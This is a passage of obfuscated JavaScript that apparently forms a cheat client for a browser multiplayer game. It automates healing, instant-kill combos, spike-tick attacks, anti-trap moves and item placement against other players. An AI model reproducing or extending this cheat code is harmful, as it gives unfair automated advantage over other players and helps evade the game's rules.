_0x14b591.isTeamObject(_0x3fce7e)).sort(function (_0x579d82, _0x91d656) {
return _0x4cedba.getDist(_0x579d82, _0x3fce7e, 0, 2) -
_0x4cedba.getDist(_0x91d656, _0x3fce7e, 0, 2);
})[0];
if (_0x4c6133 && _0x20bd10.antispike) {
if (!_0x1933cc.inTrap) {
if (_0x3fce7e.reloads[_0x21c5b5.secondaryIndex] == 0) {
_0x10d181(40, 0);
_0x8770b0(_0x21c5b5.weapons[1]);
_0x4c5fd1("D", _0x4cedba.getDirect(_0x4c6133, _0x21c5b5, 0, 2));
_0x5cea41();
_0x450873.tickBase(() => {
_0x5cea41();
_0x10d181(6, 0);
}, 1);
}
}
}
if (_0x3fce7e == _0x21c5b5) {
if (_0x57e617.length) {
_0x57e617.forEach(_0x3693c8 => {
_0x3693c8.onNear = false;
if (_0x3693c8.active) {
if (!_0x3693c8.onNear && _0x4cedba.getDist(_0x3693c8,
_0x3fce7e, 0, 2) <= _0x3693c8.scale +
_0x4b879d.weapons[_0x3fce7e.weapons[0]].range) {
_0x3693c8.onNear = true;
}
if (_0x3693c8.isItem && _0x3693c8.owner) {
if (!_0x3693c8.pps && _0x3fce7e.sid == _0x3693c8.owner.sid &&
_0x4cedba.getDist(_0x3693c8, _0x3fce7e, 0, 2) >
(parseInt(getEl("breakRange").value) || 0) && !_0x3693c8.breakObj && ![13, 14,
20].includes(_0x3693c8.id)) {
_0x3693c8.breakObj = true;
_0x178343.push({
x: _0x3693c8.x,
y: _0x3693c8.y,
sid: _0x3693c8.sid
});
}
}
}
});
let _0x4b2a8b = _0x57e617.filter(_0x4950a5 => _0x4950a5.trap &&
_0x4950a5.active && _0x4cedba.getDist(_0x4950a5, _0x3fce7e, 0, 2) <=
_0x3fce7e.scale + _0x4950a5.getScale() + 5 && !
_0x4950a5.isTeamObject(_0x3fce7e)).sort(function (_0x86068d, _0x2391fb) {
return _0x4cedba.getDist(_0x86068d, _0x3fce7e, 0, 2) -
_0x4cedba.getDist(_0x2391fb, _0x3fce7e, 0, 2);
})[0];
if (_0x4b2a8b) {
_0x1933cc.dist = _0x4cedba.getDist(_0x4b2a8b, _0x3fce7e, 0, 2);
_0x1933cc.aim = _0x4cedba.getDirect(_0x4b2a8b, _0x3fce7e, 0, 2);
if (!_0x1933cc.inTrap) {
_0x1933cc.protect(_0x1933cc.aim);
}
_0x1933cc.inTrap = true;
_0x1933cc.info = _0x4b2a8b;
} else {
_0x1933cc.inTrap = false;
_0x1933cc.info = {};
}
} else {
_0x1933cc.inTrap = false;
}
}
if (_0x3fce7e.weaponIndex < 9) {
_0x3fce7e.primaryIndex = _0x3fce7e.weaponIndex;
_0x3fce7e.primaryVariant = _0x3fce7e.weaponVariant;
} else if (_0x3fce7e.weaponIndex > 8) {
_0x3fce7e.secondaryIndex = _0x3fce7e.weaponIndex;
_0x3fce7e.secondaryVariant = _0x3fce7e.weaponVariant;
}
}
_0x22fe27 += 13;
}
if (_0x376c55.stack.length) {
let _0x35b597 = [];
let _0x285564 = [];
let _0x5a8b39 = 0;
let _0x42d753 = 0;
let _0x1da7f8 = {
x: null,
y: null
};
let _0xd0558d = {
x: null,
y: null
};
_0x376c55.stack.forEach(_0x20bc8e => {
if (_0x20bc8e.value >= 0) {
if (_0x5a8b39 == 0) {
_0x1da7f8 = {
x: _0x20bc8e.x,
y: _0x20bc8e.y
};
}
_0x5a8b39 += Math.abs(_0x20bc8e.value);
} else {
if (_0x42d753 == 0) {
_0xd0558d = {
x: _0x20bc8e.x,
y: _0x20bc8e.y
};
}
_0x42d753 += Math.abs(_0x20bc8e.value);
}
});
if (_0x42d753 > 0) {
_0x376c55.showText(_0xd0558d.x, _0xd0558d.y, Math.max(45, Math.min(50,
_0x42d753)), 0.18, 500, _0x42d753, "#8ecc51");
}
if (_0x5a8b39 > 0) {
_0x376c55.showText(_0x1da7f8.x, _0x1da7f8.y, Math.max(45, Math.min(50,
_0x5a8b39)), 0.18, 500, _0x5a8b39, "#fff");
}
_0x376c55.stack = [];
}
if (_0x2dfd5f.length) {
_0x2dfd5f.forEach(_0x23c312 => {
_0x21ea8e(..._0x23c312);
});
_0x2dfd5f = [];
}
for (let _0x22023e = 0; _0x22023e < _0x4bcc97.length;) {
_0x3fce7e = _0x117918(_0x4bcc97[_0x22023e]);
if (_0x3fce7e) {
if (!_0x3fce7e.isTeam(_0x21c5b5)) {
_0x462a20.push(_0x3fce7e);
if (_0x3fce7e.dist2 <= _0x4b879d.weapons[_0x3fce7e.primaryIndex ==
undefined ? 5 : _0x3fce7e.primaryIndex].range + _0x21c5b5.scale * 2) {
_0x380db7.push(_0x3fce7e);
}
}
_0x3fce7e.manageReload();
if (_0x3fce7e != _0x21c5b5) {
_0x3fce7e.addDamageThreat(_0x21c5b5);
}
}
_0x22023e += 13;
}
if (_0x21c5b5 && _0x21c5b5.alive) {
if (_0x462a20.length) {
_0x4e7604 = _0x462a20.sort(function (_0x26fc26, _0x52a978) {
return _0x26fc26.dist2 - _0x52a978.dist2;
})[0];
} else {}
if (_0x450873.tickQueue[_0x450873.tick]) {
_0x450873.tickQueue[_0x450873.tick].forEach(_0x3a2ed1 => {
_0x3a2ed1();
});
_0x450873.tickQueue[_0x450873.tick] = null;
}
if (_0x56ea4b.length) {
_0x56ea4b.forEach(_0x35281b => {
if (window.pingTime < 150) {
let _0x4cd28b = _0x35281b[0];
let _0x1ba9b3 = _0x35281b[1];
let _0x548b27 = 100 - _0x1ba9b3;
let _0x38ec97 = _0x35281b[2];
_0x3fce7e = _0x117918(_0x4cd28b);
let _0x893dbb = false;
if (_0x3fce7e == _0x21c5b5) {
if (_0x3fce7e.skinIndex == 7 && (_0x38ec97 == 5 ||
_0x3fce7e.latestTail == 13 && _0x38ec97 == 2)) {
if (_0x8f1613.reSync) {
_0x8f1613.reSync = false;
_0x3fce7e.setBullTick = true;
}
_0x893dbb = true;
}
if (_0x1f3dc7) {
let _0x388288 = _0xeaea9f(_0x38ec97);
let _0x189efb = [0.25, 0.45].map(_0x9b0eae => _0x9b0eae *
_0x4b879d.weapons[_0x21c5b5.weapons[0]].dmg * _0x20110b());
let _0x51269d = _0x462a20.length ? !_0x893dbb &&
_0x189efb.includes(_0x38ec97) && _0x4e7604.skinIndex == 11 : false;
let _0x51ff5f = 140 - window.pingTime;
let _0x6949b7 = 100 - _0x21c5b5.health;
let _0x37f59c = function (_0x327314, _0x52061c) {
if (!_0x52061c) {
setTimeout(() => {
_0x4f7997();
}, _0x327314);
} else {
_0x450873.tickBase(() => {
_0x4f7997();
}, 2);
}
};
if (getEl("healingBeta").checked) {
if (_0x462a20.length) {
if ([0, 7, 8].includes(_0x4e7604.primaryIndex)) {
if (_0x38ec97 < 75) {
_0x37f59c(_0x51ff5f);
} else {
_0x4f7997();
}
}
if ([1, 2, 6].includes(_0x4e7604.primaryIndex)) {
if (_0x38ec97 >= 25 && _0x21c5b5.damageThreat + _0x6949b7
>= 95 && _0x3fce7e.shameCount < 5) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
}
if (_0x4e7604.primaryIndex == 3) {
if (_0x4e7604.secondaryIndex == 15) {
if (_0x4e7604.primaryVariant < 2) {
if (_0x38ec97 >= 35 && _0x21c5b5.damageThreat +
_0x6949b7 >= 95 && _0x3fce7e.shameCount < 5 && _0x450873.tick - _0x21c5b5.antiTimer
> 1) {
_0x3fce7e.canEmpAnti = true;
_0x3fce7e.antiTimer = _0x450873.tick;
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if (_0x38ec97 > 35 && _0x21c5b5.damageThreat +
_0x6949b7 >= 95 && _0x3fce7e.shameCount < 5 && _0x450873.tick - _0x21c5b5.antiTimer
> 1) {
_0x3fce7e.canEmpAnti = true;
_0x3fce7e.antiTimer = _0x450873.tick;
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if (_0x38ec97 >= 25 && _0x21c5b5.damageThreat +
_0x6949b7 >= 95 && _0x3fce7e.shameCount < 4) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
}
if (_0x4e7604.primaryIndex == 4) {
if (_0x4e7604.primaryVariant >= 1) {
if (_0x38ec97 >= 10 && _0x21c5b5.damageThreat +
_0x6949b7 >= 95 && _0x3fce7e.shameCount < 4) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if (_0x38ec97 >= 35 && _0x21c5b5.damageThreat +
_0x6949b7 >= 95 && _0x3fce7e.shameCount < 3) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
}
if ([undefined, 5].includes(_0x4e7604.primaryIndex)) {
if (_0x4e7604.secondaryIndex == 10) {
if (_0x6949b7 >= (_0x51269d ? 10 : 20) &&
_0x3fce7e.damageThreat + _0x6949b7 >= 80 && _0x3fce7e.shameCount < 6) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if (_0x4e7604.primaryVariant >= 2 ||
_0x4e7604.primaryVariant == undefined) {
if (_0x6949b7 >= (_0x51269d ? 15 : 20) &&
_0x3fce7e.damageThreat + _0x6949b7 >= 50 && _0x3fce7e.shameCount < 6) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if ([undefined ||
15].includes(_0x4e7604.secondaryIndex)) {
if (_0x38ec97 > (_0x51269d ? 8 : 20) &&
_0x21c5b5.damageThreat >= 25 && _0x450873.tick - _0x21c5b5.antiTimer > 1) {
if (_0x3fce7e.shameCount < 5) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else {
_0x37f59c(_0x51ff5f);
}
} else if ([9, 12,
13].includes(_0x4e7604.secondaryIndex)) {
if (_0x6949b7 >= 25 && _0x21c5b5.damageThreat +
_0x6949b7 >= 70 && _0x3fce7e.shameCount < 6) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if (_0x38ec97 > 25 && _0x21c5b5.damageThreat +
_0x6949b7 >= 95) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
}
if (_0x4e7604.primaryIndex == 6) {
if (_0x4e7604.secondaryIndex == 15) {
if (_0x38ec97 >= 25 && _0x3fce7e.damageThreat +
_0x6949b7 >= 95 && _0x3fce7e.shameCount < 4) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else if (_0x38ec97 >= 70 && _0x3fce7e.shameCount < 4) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
}
if (_0x38ec97 >= 30 &&
_0x4e7604.reloads[_0x4e7604.secondaryIndex] == 0 && _0x4e7604.dist2 <= 150 &&
_0x21c5b5.skinIndex == 11 && _0x21c5b5.tailIndex == 21) {
_0x37a646.canCounter = true;
}
} else if (_0x38ec97 >= 70) {
_0x4f7997();
} else {
_0x37f59c(_0x51ff5f);
}
} else {
if (_0x38ec97 >= (_0x51269d ? 8 : 25) && _0x6949b7 +
_0x21c5b5.damageThreat >= 80 && _0x450873.tick - _0x21c5b5.antiTimer > 1) {
if (_0x3fce7e.reloads[53] == 0 &&
_0x3fce7e.reloads[_0x3fce7e.weapons[1]] == 0) {
_0x3fce7e.canEmpAnti = true;
} else {
_0x21c5b5.soldierAnti = true;
}
_0x3fce7e.antiTimer = _0x450873.tick;
let _0x2bdcba = [0, 4, 6, 7,
8].includes(_0x4e7604.primaryIndex) ? 2 : 5;
if (_0x3fce7e.shameCount < _0x2bdcba) {
_0x4f7997();
} else if (_0x4e7604.primaryIndex == 7 ||
_0x21c5b5.weapons[0] == 7 && (_0x4e7604.skinIndex == 11 || _0x4e7604.tailIndex ==
21)) {
_0x37f59c(_0x51ff5f);
} else {
_0x37f59c(_0x51ff5f, 1);
}
} else if (_0x4e7604.primaryIndex == 7 ||
_0x21c5b5.weapons[0] == 7 && (_0x4e7604.skinIndex == 11 || _0x4e7604.tailIndex ==
21)) {
_0x37f59c(_0x51ff5f);
} else {
_0x37f59c(_0x51ff5f, 1);
}
if (_0x38ec97 >= 25 && _0x4e7604.dist2 <= 140 &&
_0x21c5b5.skinIndex == 11 && _0x21c5b5.tailIndex == 21) {
_0x37a646.canCounter = true;
}
}
} else if (!_0x3fce7e.setPoisonTick && (_0x3fce7e.damaged == 5 ||
_0x3fce7e.latestTail == 13 && _0x3fce7e.damaged == 2)) {
_0x3fce7e.setPoisonTick = true;
}
}
} else {
let [_0x1ef9f7, _0x687b5c, _0x34e316] = _0x35281b;
let _0x3b7032 = 100 - _0x687b5c;
let _0x5be022 = _0x117918(_0x1ef9f7);
let _0x208d94 = false;
if (_0x5be022 == _0x21c5b5) {
if (_0x5be022.skinIndex == 7 && (_0x34e316 == 5 ||
_0x5be022.latestTail == 13 && _0x34e316 == 2)) {
if (_0x8f1613.reSync) {
_0x8f1613.reSync = false;
_0x5be022.setBullTick = true;
_0x208d94 = true;
}
}
if (_0x1f3dc7) {
let _0x43b3 = _0xeaea9f(_0x34e316);
let _0x582aee = [0.25, 0.45].map(_0x10e1c9 => _0x10e1c9 *
_0x4b879d.weapons[_0x21c5b5.weapons[0]].dmg * _0x20110b());
let _0x17d58e = _0x462a20.length ? !_0x208d94 &&
_0x582aee.includes(_0x34e316) && _0x4e7604.skinIndex == 11 : false;
let _0x518fe2 = 60;
let _0x3eecc3 = 100 - _0x21c5b5.health;
let _0x177dea = [2, 5][[0, 4, 6, 7,
8].includes(_0x4e7604.primaryIndex) ? 0 : 1];
let _0x45e469 = function (_0x504c3f, _0x389539) {
if (!_0x389539) {
setTimeout(() => _0x4f7997(), _0x504c3f);
} else {
_0x450873.tickBase(() => _0x4f7997(), 2);
}
};
if (getEl("healingBeta").checked) {
let _0x288334 = [0, 7, 8].includes(_0x4e7604.primaryIndex) ?
_0x34e316 < 75 : [1, 2, 6].includes(_0x4e7604.primaryIndex) ? _0x34e316 >= 25 &&
_0x21c5b5.damageThreat + _0x3eecc3 >= 95 && _0x5be022.shameCount < 5 : [undefined,
5].includes(_0x4e7604.primaryIndex) ? _0x3eecc3 >= (_0x17d58e ? 15 : 20) &&
_0x5be022.damageThreat + _0x3eecc3 >= 50 && _0x5be022.shameCount < 6 :
_0x4e7604.primaryIndex == 3 && _0x4e7604.secondaryIndex == 15 ? _0x34e316 >= 35 &&
_0x21c5b5.damageThreat + _0x3eecc3 >= 95 && _0x5be022.shameCount < 5 &&
_0x450873.tick - _0x21c5b5.antiTimer > 1 : _0x4e7604.primaryIndex == 4 ?
_0x4e7604.primaryVariant >= 1 ? _0x34e316 >= 10 && _0x21c5b5.damageThreat +
_0x3eecc3 >= 95 && _0x5be022.shameCount < 4 : _0x34e316 >= 35 &&
_0x21c5b5.damageThreat + _0x3eecc3 >= 95 && _0x5be022.shameCount < 3 :
_0x4e7604.primaryIndex == 6 && _0x4e7604.secondaryIndex == 15 ? _0x34e316 >= 25 &&
_0x5be022.damageThreat + _0x3eecc3 >= 95 && _0x5be022.shameCount < 4 : _0x34e316 >=
25 && _0x21c5b5.damageThreat + _0x3eecc3 >= 95;
if (_0x288334) {
_0x4f7997();
} else {
_0x45e469(_0x518fe2);
}
} else {
let _0x327544 = _0x34e316 >= (_0x17d58e ? 8 : 25) &&
_0x3eecc3 + _0x21c5b5.damageThreat >= 80 && _0x450873.tick - _0x21c5b5.antiTimer >
1;
if (_0x327544) {
if (_0x5be022.reloads[53] == 0 &&
_0x5be022.reloads[_0x5be022.weapons[1]] == 0) {
_0x5be022.canEmpAnti = true;
} else {
_0x21c5b5.soldierAnti = true;
}
_0x5be022.antiTimer = _0x450873.tick;
if (_0x5be022.shameCount < _0x177dea) {
_0x4f7997();
} else {
_0x45e469(_0x518fe2, _0x4e7604.primaryIndex == 7 ||
_0x21c5b5.weapons[0] == 7 && (_0x4e7604.skinIndex == 11 || _0x4e7604.tailIndex ==
21) ? 0 : 1);
}
} else {
_0x45e469(_0x518fe2, _0x4e7604.primaryIndex == 7 ||
_0x21c5b5.weapons[0] == 7 && (_0x4e7604.skinIndex == 11 || _0x4e7604.tailIndex ==
21) ? 0 : 1);
}
}
} else if (!_0x5be022.setPoisonTick && (_0x5be022.damaged == 5 ||
_0x5be022.latestTail == 13 && _0x5be022.damaged == 2)) {
_0x5be022.setPoisonTick = true;
}
}
}
});
_0x56ea4b = [];
}
_0x119a04.forEach(_0x4e8247 => {
if (!_0x4e8247.visible && _0x21c5b5 != _0x4e8247) {
_0x4e8247.reloads = {
0: 0,
1: 0,
2: 0,
3: 0,
4: 0,
5: 0,
6: 0,
7: 0,
8: 0,
9: 0,
10: 0,
11: 0,
12: 0,
13: 0,
14: 0,
15: 0,
53: 0
};
}
if (_0x4e8247.setBullTick) {
_0x4e8247.bullTimer = 0;
}
if (_0x4e8247.setPoisonTick) {
_0x4e8247.poisonTimer = 0;
}
_0x4e8247.updateTimer();
});
if (_0x1f3dc7) {
if (_0x462a20.length) {
if (_0x20bd10.autoQonSync && _0x380db7.length > 1 &&
_0x3fce7e.shameCount < 5 && !_0x380db7.some(_0xd361cd => [0, 7, 8,
9].includes(_0xd361cd.primaryIndex)) && _0x2006cb < 40 && _0x21c5b5.health < 90) {
_0x3fce7e.canEmpAnti = false;
_0x4f7997();
}
if (_0x21c5b5.canEmpAnti) {
_0x21c5b5.canEmpAnti = false;
if (_0x4e7604.dist2 <= 300 && !_0x8f1613.safePrimary(_0x4e7604)
&& !_0x8f1613.safeSecondary(_0x4e7604)) {
if (_0x4e7604.reloads[53] == 0) {
_0x21c5b5.empAnti = true;
_0x21c5b5.soldierAnti = false;
} else {
_0x21c5b5.empAnti = false;
_0x21c5b5.soldierAnti = true;
}
}
}
let _0x21e3a4 = _0x57e617.filter(_0x49751f => _0x49751f.dmg &&
_0x49751f.active && _0x49751f.isTeamObject(_0x21c5b5) &&
_0x4cedba.getDist(_0x49751f, _0x4e7604, 0, 3) <= _0x49751f.scale +
_0x4e7604.scale).sort(function (_0x545e0f, _0x1e2b4b) {
return _0x4cedba.getDist(_0x545e0f, _0x4e7604, 0, 2) -
_0x4cedba.getDist(_0x1e2b4b, _0x4e7604, 0, 2);
})[0];
if (_0x21e3a4) {
if (_0x4e7604.dist2 <=
_0x4b879d.weapons[_0x21c5b5.weapons[0]].range + _0x21c5b5.scale * 1.8 &&
_0x20bd10.predictTick) {
_0x37a646.canSpikeTick = true;
_0x37a646.syncHit = true;
if (_0x20bd10.revTick && _0x21c5b5.weapons[1] == 15 &&
_0x21c5b5.reloads[53] == 0 && _0x37a646.perfCheck(_0x21c5b5, _0x4e7604)) {
_0x37a646.revTick = true;
}
}
}
let _0x4b4d33 = _0x57e617.filter(_0x146568 => _0x146568.dmg &&
_0x146568.active && !_0x146568.isTeamObject(_0x21c5b5) &&
_0x4cedba.getDist(_0x146568, _0x21c5b5, 0, 3) < _0x146568.scale +
_0x21c5b5.scale).sort(function (_0x18577c, _0x2c60d4) {
return _0x4cedba.getDist(_0x18577c, _0x21c5b5, 0, 2) -
_0x4cedba.getDist(_0x2c60d4, _0x21c5b5, 0, 2);
})[0];
if (_0x4b4d33 && !_0x1933cc.inTrap) {
if (_0x4e7604.dist2 <= _0x4b879d.weapons[5].range + _0x4e7604.scale
* 1.8) {
_0x8f1613.anti0Tick = 4;
}
}
}
if ((_0x4f4659 ? true : (_0x21c5b5.checkCanInsta(true) >= 100 ?
_0x21c5b5.checkCanInsta(true) : _0x21c5b5.checkCanInsta(false)) >=
(_0x21c5b5.weapons[1] == 10 ? 95 : 100)) && _0x4e7604.dist2 <=
_0x4b879d.weapons[_0x21c5b5.weapons[1] == 10 ? _0x21c5b5.weapons[1] :
_0x21c5b5.weapons[0]].range + _0x4e7604.scale * 1.8 && (_0x37a646.wait || _0x4f4659
&& Math.floor(Math.random() * 5) == 0) && !_0x37a646.isTrue && !_0x8f1613.waitHit
&& _0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 &&
_0x21c5b5.reloads[_0x21c5b5.weapons[1]] == 0 && (_0x4f4659 ? true :
getEl("instaType").value == "oneShot" ? _0x21c5b5.reloads[53] <=
(_0x21c5b5.weapons[1] == 10 ? 0 : _0x450873.tickRate) : true) &&
_0x37a646.perfCheck(_0x21c5b5, _0x4e7604)) {
if (_0x21c5b5.checkCanInsta(true) >= 100) {
_0x37a646.nobull = _0x4f4659 ? false : _0x37a646.canSpikeTick ?
false : true;
} else {
_0x37a646.nobull = false;
}
_0x37a646.can = true;
} else {
_0x37a646.can = false;
}
if (_0x217f3c.q) {
_0x458902(0, _0x5e0191());
}
if (_0x217f3c.f) {
_0x458902(4, _0x19c336());
}
if (_0x217f3c.v) {
_0x458902(2, _0x19c336());
}
if (_0x217f3c.y) {
_0x458902(5, _0x19c336());
}
if (_0x217f3c.h) {
_0x458902(_0x21c5b5.getItemType(22), _0x19c336());
}
if (_0x217f3c.n) {
_0x458902(3, _0x19c336());
}
if (_0x450873.tick % 2 == 0) {
if (_0x54b26c.place) {
let _0x2f8b45 = 1.25;
for (let _0x31809 = -_0x2f8b45; _0x31809 <= _0x2f8b45; _0x31809 +=
_0x2f8b45) {
_0x3a4bd0(3, _0x4cedba.getDirect(_0x21c5b5.oldPos, _0x21c5b5, 2,
2) + _0x31809);
}
} else if (_0x54b26c.placeSpawnPads) {
for (let _0x36d200 = 0; _0x36d200 < Math.PI * 2; _0x36d200 +=
Math.PI / 2) {
_0x3a4bd0(_0x21c5b5.getItemType(20),
_0x4cedba.getDirect(_0x21c5b5.oldPos, _0x21c5b5, 2, 2) + _0x36d200);
}
}
}
if (_0x37a646.can) {
_0x37a646.changeType(_0x20bd10.revTick || _0x21c5b5.weapons[1] ==
10 ? "rev" : _0x37a646.nobull ? "nobull" : "normal");
}
if (_0x37a646.canCounter) {
_0x37a646.canCounter = false;
if (_0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 && !
_0x37a646.isTrue) {
_0x37a646.counterType();
}
}
if (_0x37a646.canSpikeTick) {
_0x37a646.canSpikeTick = false;
if (_0x37a646.revTick) {
_0x37a646.revTick = false;
if ([1, 2, 3, 4, 5, 6].includes(_0x21c5b5.weapons[0]) &&
_0x21c5b5.reloads[_0x21c5b5.weapons[1]] == 0 && !_0x37a646.isTrue) {
_0x37a646.changeType("rev");
}
} else if ([1, 2, 3, 4, 5, 6].includes(_0x21c5b5.weapons[0]) &&
_0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 && !_0x37a646.isTrue) {
_0x37a646.spikeTickType();
if (_0x37a646.syncHit) {}
}
}
if (!_0x1fd2aa.middle && (_0x1fd2aa.left || _0x1fd2aa.right) && !
_0x37a646.isTrue) {
if (_0x21c5b5.weaponIndex != (_0x1fd2aa.right && _0x21c5b5.weapons[1]
== 10 ? _0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]) || _0x21c5b5.buildIndex > -1)
{
_0x8770b0(_0x1fd2aa.right && _0x21c5b5.weapons[1] == 10 ?
_0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]);
}
if (_0x21c5b5.reloads[_0x1fd2aa.right && _0x21c5b5.weapons[1] == 10 ?
_0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0 && !_0x8f1613.waitHit) {
_0x5cea41();
_0x8f1613.waitHit = 1;
_0x450873.tickBase(() => {
_0x5cea41();
_0x8f1613.waitHit = 0;
}, 1);
}
}
if (_0x4f4659 && !_0x1fd2aa.left && !_0x1fd2aa.right && !
_0x37a646.isTrue && _0x4e7604.dist2 <=
_0x4b879d.weapons[_0x21c5b5.weapons[0]].range + _0x4e7604.scale * 1.8 && !
_0x1933cc.inTrap) {
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[0] ||
_0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[0]);
}
if (_0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 && !
_0x8f1613.waitHit) {
_0x5cea41();
_0x8f1613.waitHit = 1;
_0x450873.tickBase(() => {
_0x5cea41();
_0x8f1613.waitHit = 0;
}, 1);
}
}
if (_0x1933cc.inTrap) {
if (!_0x1fd2aa.left && !_0x1fd2aa.right && !_0x37a646.isTrue) {
if (_0x21c5b5.weaponIndex != (_0x1933cc.notFast() ?
_0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]) || _0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x1933cc.notFast() ? _0x21c5b5.weapons[1] :
_0x21c5b5.weapons[0]);
}
if (_0x21c5b5.reloads[_0x1933cc.notFast() ? _0x21c5b5.weapons[1] :
_0x21c5b5.weapons[0]] == 0 && !_0x8f1613.waitHit) {
_0x5cea41();
_0x8f1613.waitHit = 1;
_0x450873.tickBase(() => {
_0x5cea41();
_0x8f1613.waitHit = 0;
}, 1);
}
}
}
if (_0x1fd2aa.middle && !_0x1933cc.inTrap) {
if (!_0x37a646.isTrue && _0x21c5b5.reloads[_0x21c5b5.weapons[1]] ==
0) {
if (_0x8f1613.ageInsta && _0x21c5b5.weapons[0] != 4 &&
_0x21c5b5.weapons[1] == 9 && _0x21c5b5.age >= 9 && _0x462a20.length) {
_0x37a646.bowMovement();
} else {
_0x37a646.rangeType();
}
}
}
if (_0x217f3c.t && !_0x1933cc.inTrap) {
if (!_0x37a646.isTrue && _0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0
&& (_0x21c5b5.weapons[1] == 15 ? _0x21c5b5.reloads[_0x21c5b5.weapons[1]] == 0 :
true) && (_0x21c5b5.weapons[0] == 5 || _0x21c5b5.weapons[0] == 4 &&
_0x21c5b5.weapons[1] == 15)) {
_0x37a646[_0x21c5b5.weapons[0] == 4 && _0x21c5b5.weapons[1] == 15 ?
"kmTickMovement" : "tickMovement"]();
}
}
if (_0x217f3c["."] && !_0x1933cc.inTrap) {
if (!_0x37a646.isTrue && _0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0
&& ([9, 12, 13, 15].includes(_0x21c5b5.weapons[1]) ?
_0x21c5b5.reloads[_0x21c5b5.weapons[1]] == 0 : true)) {
_0x37a646.boostTickMovement();
}
}
if (_0x21c5b5.weapons[1] && !_0x1fd2aa.left && !_0x1fd2aa.right && !
_0x1933cc.inTrap && !_0x37a646.isTrue && (!_0x4f4659 || _0x4e7604.dist2 >
_0x4b879d.weapons[_0x21c5b5.weapons[0]].range + _0x4e7604.scale * 1.8)) {
if (_0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 &&
_0x21c5b5.reloads[_0x21c5b5.weapons[1]] == 0) {
if (!_0x8f1613.reloaded) {
_0x8f1613.reloaded = true;
let _0x2df166 = _0x4b879d.weapons[_0x21c5b5.weapons[0]].spdMult <
_0x4b879d.weapons[_0x21c5b5.weapons[1]].spdMult ? 1 : 0;
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[_0x2df166] ||
_0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[_0x2df166]);
}
}
} else {
_0x8f1613.reloaded = false;
if (_0x21c5b5.reloads[_0x21c5b5.weapons[0]] > 0) {
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[0] ||
_0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[0]);
}
} else if (_0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 &&
_0x21c5b5.reloads[_0x21c5b5.weapons[1]] > 0) {
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[1] ||
_0x21c5b5.buildIndex > -1) {
_0x8770b0(_0x21c5b5.weapons[1]);
}
}
}
}
if (!_0x37a646.isTrue && !_0x1933cc.inTrap && !_0x1933cc.replaced) {
_0x1933cc.autoPlace();
}
if (!_0x217f3c.q && !_0x217f3c.f && !_0x217f3c.v && !_0x217f3c.h && !
_0x217f3c.n) {
_0x4c5fd1("D", _0x5e0191());
}
let _0x397ff0 = function () {
if (_0x8f1613.anti0Tick > 0) {
_0x10d181(6, 0);
} else if (_0x1fd2aa.left || _0x1fd2aa.right) {
if ((!_0x462a20.length || _0x4e7604.dist2 >= 200) &&
_0x21c5b5.shameCount > 0 && _0x21c5b5.skinIndex != 45 || _0x8f1613.reSync) {
_0x10d181(7, 0);
} else if (_0x1fd2aa.left) {
_0x10d181(_0x21c5b5.reloads[_0x21c5b5.weapons[0]] == 0 ?
getEl("weaponGrind").checked ? 40 : 7 : _0x21c5b5.empAnti ? 22 :
_0x21c5b5.soldierAnti ? 6 : getEl("antiBullType").value == "abreload" &&
_0x4e7604.antiBull > 0 ? 11 : _0x4e7604.dist2 <= 300 ? getEl("antiBullType").value
== "abalway" && _0x4e7604.reloads[_0x4e7604.primaryIndex] == 0 ? 11 : 6 :
_0x6f2b76(1, 1), 0);
} else if (_0x1fd2aa.right) {
_0x10d181(_0x21c5b5.reloads[_0x1fd2aa.right &&
_0x21c5b5.weapons[1] == 10 ? _0x21c5b5.weapons[1] : _0x21c5b5.weapons[0]] == 0 ? 40
: _0x21c5b5.empAnti ? 22 : _0x21c5b5.soldierAnti ? 6 : getEl("antiBullType").value
== "abreload" && _0x4e7604.antiBull > 0 ? 11 : _0x4e7604.dist2 <= 300 ?
getEl("antiBullType").value == "abalway" &&
_0x4e7604.reloads[_0x4e7604.primaryIndex] == 0 ? 11 : 6 : _0x6f2b76(1, 1), 0);
}
} else if (_0x1933cc.inTrap) {
if ((_0x1933cc.info.health <=
_0x4b879d.weapons[_0x21c5b5.weaponIndex].dmg ? false :
_0x21c5b5.reloads[_0x21c5b5.weapons[1] == 10 ? _0x21c5b5.weapons[1] :
_0x21c5b5.weapons[0]] == 0) && _0x8f1613.anti0Tick == 0) {
_0x10d181(40, 0);
} else if ((!_0x462a20.length || _0x4e7604.dist2 >= 200) &&
_0x21c5b5.shameCount > 0 && _0x21c5b5.skinIndex != 45 || _0x8f1613.reSync) {
_0x10d181(7, 0);
} else {
